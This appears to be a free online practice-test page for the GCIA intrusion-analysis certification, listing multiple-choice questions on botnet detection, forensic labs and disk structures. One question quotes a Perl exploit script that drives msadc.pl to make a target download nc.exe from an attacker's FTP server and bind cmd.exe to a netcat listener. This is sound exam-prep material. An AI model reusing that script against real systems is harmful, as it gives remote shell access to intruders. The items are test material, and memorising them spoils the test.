Online Access Free GCIA Practice Test

Which of the following techniques is used to identify attacks originating from a botnet?

• A.Recipient filtering
• B.IFilter
• C.Passive OS fingerprinting
• D.BPF-based filter

Which of the following is NOT the functional area of a forensic laboratory?

• A.Evidence storage
• B.Administrative area
• C.Research area
• D.Network facilities

Adam, a malicious hacker performs an exploit, which is given below:
################################################################# $port = 53; # Spawn cmd.exe on port X $your = "192.168.1.1";# Your FTP Server 89 $user = "Anonymous";# login as $pass = '[email protected]';# password ################################################################# $host = $ARGV[0]; print "Starting ...\n"; print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h $host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get hacked. html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ... \n"; system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when
download is finished ...
(Have a ftp server)\n";
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n";
#system("telnet $host $port"); exit(0);
Which of the following is the expected result of the above exploit?

• A.Opens up a telnet listener that requires no username or password
• B.Creates an FTP server with write permissions enabled
• C.Creates a share called "sasfile" on the target system
• D.Opens up a SMTP server that requires no username or password

What is the name of the group of blocks which contains information used by the operating system in Linux system?

• A.logblock
• B.Superblock
• C.Systemblock
• D.Bootblock

Which of the following sectors on a hard disk contains codes that the computer uses to start the system?

• A.Sector 1
• B.Sector 128
• C.Sector 256
• D.Sector 0